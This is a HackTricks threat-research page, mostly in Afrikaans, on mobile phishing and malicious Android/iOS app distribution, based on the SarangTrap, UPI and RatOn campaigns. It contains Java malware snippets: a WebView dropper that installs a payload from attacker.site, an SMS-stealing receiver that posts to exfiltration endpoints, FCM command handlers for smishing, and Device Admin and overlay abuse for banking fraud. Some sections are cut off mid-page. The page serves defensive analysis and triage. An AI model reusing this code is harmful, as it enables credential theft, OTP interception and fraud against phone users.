Mobiele phishing & Kwaadwillige App-Verspreiding (Android & iOS)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

[!INFO] Hierdie bladsy dek tegnieke wat deur bedreigingsakters gebruik word om malicious Android APKs en iOS mobile-configuration profiles deur phishing (SEO, social engineering, fake stores, dating apps, ens.) te versprei. Die materiaal is aangepas vanaf die SarangTrap-veldtog wat deur Zimperium zLabs (2025) blootgelê is en ander openbare navorsing.

Aanvalvloei

1. SEO/Phishing Infrastructure

• Registreer dosyne van look-alike domeine (dating, cloud share, car service…). – Gebruik plaaslike taal sleutelwoorde en emojis in die <title> element om in Google te rangskik. – Huisves beide Android (.apk) en iOS installasie-instruksies op dieselfde landingsblad.

2. Eerste Fase Aflaai

• Android: direkte skakel na ’n unsigned of “third-party store” APK.
• iOS: itms-services:// of gewone HTTPS-skakel na ’n kwaadwillige mobileconfig profiel (sien hieronder).

3. Post-installasie Sosiale Ingenieurswese

• By die eerste uitvoering vra die app vir ’n invitation / verification code (illusie van eksklusiewe toegang).
• Die kode word POSTed over HTTP na die Command-and-Control (C2).
• C2 antwoord {"success":true} ➜ malware gaan voort.
• Sandbox / AV dinamiese analise wat nooit ’n geldige kode indien nie, sien geen kwaadwillige gedrag (evasion).

4. Runtime Permission Abuse (Android)

• Dangerous permissions word slegs gevra na ’n positiewe C2-antwoord:

<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Older builds also asked for SMS permissions -->

• Onlangse variante verwyder <uses-permission> vir SMS uit AndroidManifest.xml maar laat die Java/Kotlin kodepad wat SMS deur reflection lees bestaan ⇒ verlaag die statiese score terwyl dit steeds funksioneel is op toestelle wat die toestemming via AppOps abuse of ou teikens toeken.

5. Android 13+ Restricted Settings & Dropper Bypass (SecuriDropper‑style)

• Android 13 het Restricted settings vir sideloaded apps gekonfronteer: Accessibility en Notification Listener-skakelaars is uitgegrys totdat die gebruiker eksplisiet restricted settings in App info toelaat.
• Phishing-bladsye en droppers lewer nou stap‑vir‑stap UI-instruksies om restricted settings toe te laat vir die sideloaded app en dan Accessibility/Notification toegang te aktiveer.
• ’n Nuweer omseiling is om die payload te installeer via ’n session‑based PackageInstaller flow (dieselfde metode wat app stores gebruik). Android hanteer die app as store‑installed, so Restricted settings blokkeer Accessibility nie meer nie.
• Triage-hint: in ’n dropper, grep vir PackageInstaller.createSession/openSession plus kode wat onmiddellik die slagoffer na ACTION_ACCESSIBILITY_SETTINGS of ACTION_NOTIFICATION_LISTENER_SETTINGS navigeer.

6. Facade UI & Agtergrondversameling

• App vertoon onslegtelike aansigte (SMS viewer, gallery picker) geïmplementeer lokaal.
• Intussen exfiltreer dit:

• IMEI / IMSI, telefoonnommer
• Volledige ContactsContract dump (JSON-array)
• JPEG/PNG vanaf /sdcard/DCIM gecomprimeer met Luban om grootte te verminder
• Opsionele SMS-inhoud (content://sms) Payloads word batch-zipped en gestuur via HTTP POST /upload.php.

7. iOS Afleweringstegniek

• ’n Enkele mobile-configuration profile kan PayloadType=com.apple.sharedlicenses, com.apple.managedConfiguration ens. versoek om die toestel te registreer in “MDM”-agtige toesig.
• Social-engineering instruksies:

1. Open Settings ➜ Profile downloaded.
2. Tik drie keer op Install (skermkiekies op die phishing-bladsy).
3. Trust the unsigned profile ➜ aanvaller verkry Contacts & Photo entitlement sonder App Store review.
4. iOS Web Clip Payload (phishing app icon)

• com.apple.webClip.managed payloads kan pin ’n phishing URL to the Home Screen met ’n gebrande ikoon/etiket.
• Web Clips kan full‑screen loop (verberg die browser UI) en as non‑removable gemerk word, wat die slagoffer dwing om die profiel te verwyder om die ikoon te verwyder.

9. Netwerklaag

• Plain HTTP, dikwels op poort 80 met HOST-kop soos api.<phishingdomain>.com.
• User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001) (geen TLS → maklik om op te spoor nie).

Red-Team Wenke

• Dynamic Analysis Bypass – Tydens malware-assessering, outomatiseer die invitation code‑fase met Frida/Objection om die kwaadwillige tak te bereik.
• Manifest vs. Runtime Diff – Vergelyk aapt dump permissions met runtime PackageManager#getRequestedPermissions(); ontbrekende gevaarlike perms is ’n rooi vlag.
• Network Canary – Konfigureer iptables -p tcp --dport 80 -j NFQUEUE om onsamehangende POST‑uitbarstings na kode‑invoer op te spoor.
• mobileconfig Inspection – Gebruik security cms -D -i profile.mobileconfig op macOS om PayloadContent te lys en oormatige entitlements op te spoor.

Useful Frida Snippet: Auto-Bypass Invitation Code

Aanwysers (Generies)

/req/checkCode.php        # invite code validation
/upload.php               # batched ZIP exfiltration
LubanCompress 1.1.8       # "Luban" string inside classes.dex

Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Patroon

Hierdie patroon is waargeneem in veldtogte wat regeringsvoordeel-temas misbruik om Indiese UPI- geloofsbriewe en OTP’s te steel. Operateurs ketting betroubare platforme vir aflewering en veerkragtigheid.

Afleweringsketting oor betroubare platforme

• YouTube video lokmiddel → beskrywing bevat ’n kort skakel
• Kort skakel → GitHub Pages phishing site wat die regte portaal naboots
• Dieselfde GitHub repo huisves ’n APK met ’n valse “Google Play” badge wat direk na die lêer skakel
• Dynamiese phishing-bladsye leef op Replit; remote command channel gebruik Firebase Cloud Messaging (FCM)

Dropper met ingeslote payload en offline installasie

• Die eerste APK is ’n installer (dropper) wat die werklike malware by assets/app.apk verskaf en die gebruiker daartoe aanmoedig om Wi‑Fi/mobiele data af te skakel om wolkontdekking te versag.
• Die ingeslote payload installeer onder ’n onskuldige etiket (bv., “Secure Update”). Na installasie is beide die installer en die payload teenwoordig as afsonderlike apps.

Statiese triage-wenk (grep vir ingeslote payloads):

unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head

Dinamiese endpoint-ontdekking via shortlink

• Malware haal ’n plain-text, komma-geskeide lys van lewende endpoints uit ’n shortlink; eenvoudige string-transformasies genereer die finale phishing-bladsypad.

Voorbeeld (gesanitiseer):

GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload:           https://sqcepo.replit.app/addsm.php

Pseudokode:

String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");

WebView-based UPI credential harvesting

• Die “Make payment of ₹1 / UPI‑Lite” stap laai ’n attacker HTML form vanaf die dinamiese endpoint binne ’n WebView en vang sensitiewe velde (phone, bank, UPI PIN) wat POSTed word na addup.php.

Minimal loader:

WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm

Self-propagation en SMS/OTP onderskeping

• Agresiewe toestemmings word by die eerste uitvoering versoek:

<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>

• Kontakte word geloop om smishing SMS massaal te stuur vanaf die slagoffer se toestel.
• Inkomende SMS word deur ’n broadcast receiver onderskep en saam met metadata (sender, body, SIM slot, per-device random ID) na /addsm.php opgelaai.

Ontvanger-skets:

public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
for (SmsMessage m: msgs){
postForm(urlAddSms, new FormBody.Builder()
.add("senderNum", m.getOriginatingAddress())
.add("Message", m.getMessageBody())
.add("Slot", String.valueOf(getSimSlot(i)))
.add("Device rand", getOrMakeDeviceRand(c))
.build());
}
}

Firebase Cloud Messaging (FCM) as ’n veerkragtige C2

• Die payload registreer by FCM; push-boodskappe dra ’n _type-veld wat as ’n skakelaar gebruik word om aksies te aktiveer (bv., update phishing text templates, skakel gedrag aan/af).

Voorbeeld FCM payload:

{
"to": "<device_fcm_token>",
"data": {
"_type": "update_texts",
"template": "New subsidy message..."
}
}

Handler skets:

@Override
public void onMessageReceived(RemoteMessage msg){
String t = msg.getData().get("_type");
switch (t){
case "update_texts": applyTemplate(msg.getData().get("template")); break;
case "smish": sendSmishToContacts(); break;
// ... more remote actions
}
}

Aanwysers/IOCs

• APK bevat sekondêre payload by assets/app.apk
• WebView laai betaling vanaf gate.htm en exfiltrates na /addup.php
• SMS exfiltration na /addsm.php
• Shortlink-driven config fetch (e.g., rebrand.ly/*) returning CSV endpoints
• Apps gemerk as generiese “Update/Secure Update”
• FCM data messages met ’n _type discriminator in onbetroubare apps

Socket.IO/WebSocket-based APK Smuggling + Fake Google Play Pages

Aanvallers vervang toenemend statiese APK-skakels met ’n Socket.IO/WebSocket-kanaal wat ingebed is in Google Play–agtige lokvalle. Dit verberg die payload URL, omseil URL/extension filters, en behou ’n realistiese install UX.

Tipiese kliëntvloei wat in die veld waargeneem is:

</details>

Waarom dit eenvoudige kontroles omseil:
- Geen statiese APK-URL word blootgestel; die payload word in geheue uit WebSocket-frames herbou.
- URL/MIME/extension filters wat direkte .apk-responses blokkeer, kan binaire data wat via WebSockets/Socket.IO ge-tunnel is, misloop.
- Crawlers en URL-sandboxes wat nie WebSockets uitvoer nie, sal die payload nie terugkry nie.

Sien ook WebSocket tradecraft en tooling:

<a class="content_ref" href="../../pentesting-web/websocket-attacks.md"><span class="content_ref_label">WebSocket Attacks</span></a>


## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn-gevalstudie

Die RatOn banker/RAT-campagne (ThreatFabric) is ’n konkrete voorbeeld van hoe moderne mobile phishing-operasies WebView droppers, Accessibility-gedrewe UI-automatisering, overlays/ransom, Device Admin-dwinging, Automated Transfer System (ATS), crypto wallet takeover, en selfs NFC-relay orchestration meng. Hierdie afdeling abstraheer die herbruikbare tegnieke.

### Stage-1: WebView → native install bridge (dropper)
Aanvallers wys ’n WebView wat na ’n attacker page wys en inject ’n JavaScript interface wat ’n native installer blootstel. ’n Tik op ’n HTML-knoppie roep native code aan wat ’n second-stage APK installeer wat in die dropper se assets ingebundel is en dit daarna direk lanseer.

Minimale patroon:

<details>
<summary>Stage-1 dropper minimal pattern (Java)</summary>
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}

<button onclick="bridge.installApk()">Install</button>

Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);

if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}

{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}

dpm.lockNow();

dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner

dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);

</details>

Blokkeer-overlaye vir bedrog-afskerming:
- Vertoon 'n volskerm `TYPE_ACCESSIBILITY_OVERLAY` met operateur-beheerde dekking; hou dit ondeursigtig vir die slagoffer terwyl afgeleë automatisering daaronder voortgaan.
- Tipies blootgestelde opdragte: `opacityOverlay <0..255>`, `sendOverlayLoading <html/url>`, `removeOverlay`.

Minimale overlay met verstelbare alpha:
```java
View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
wm.addView(v, lp);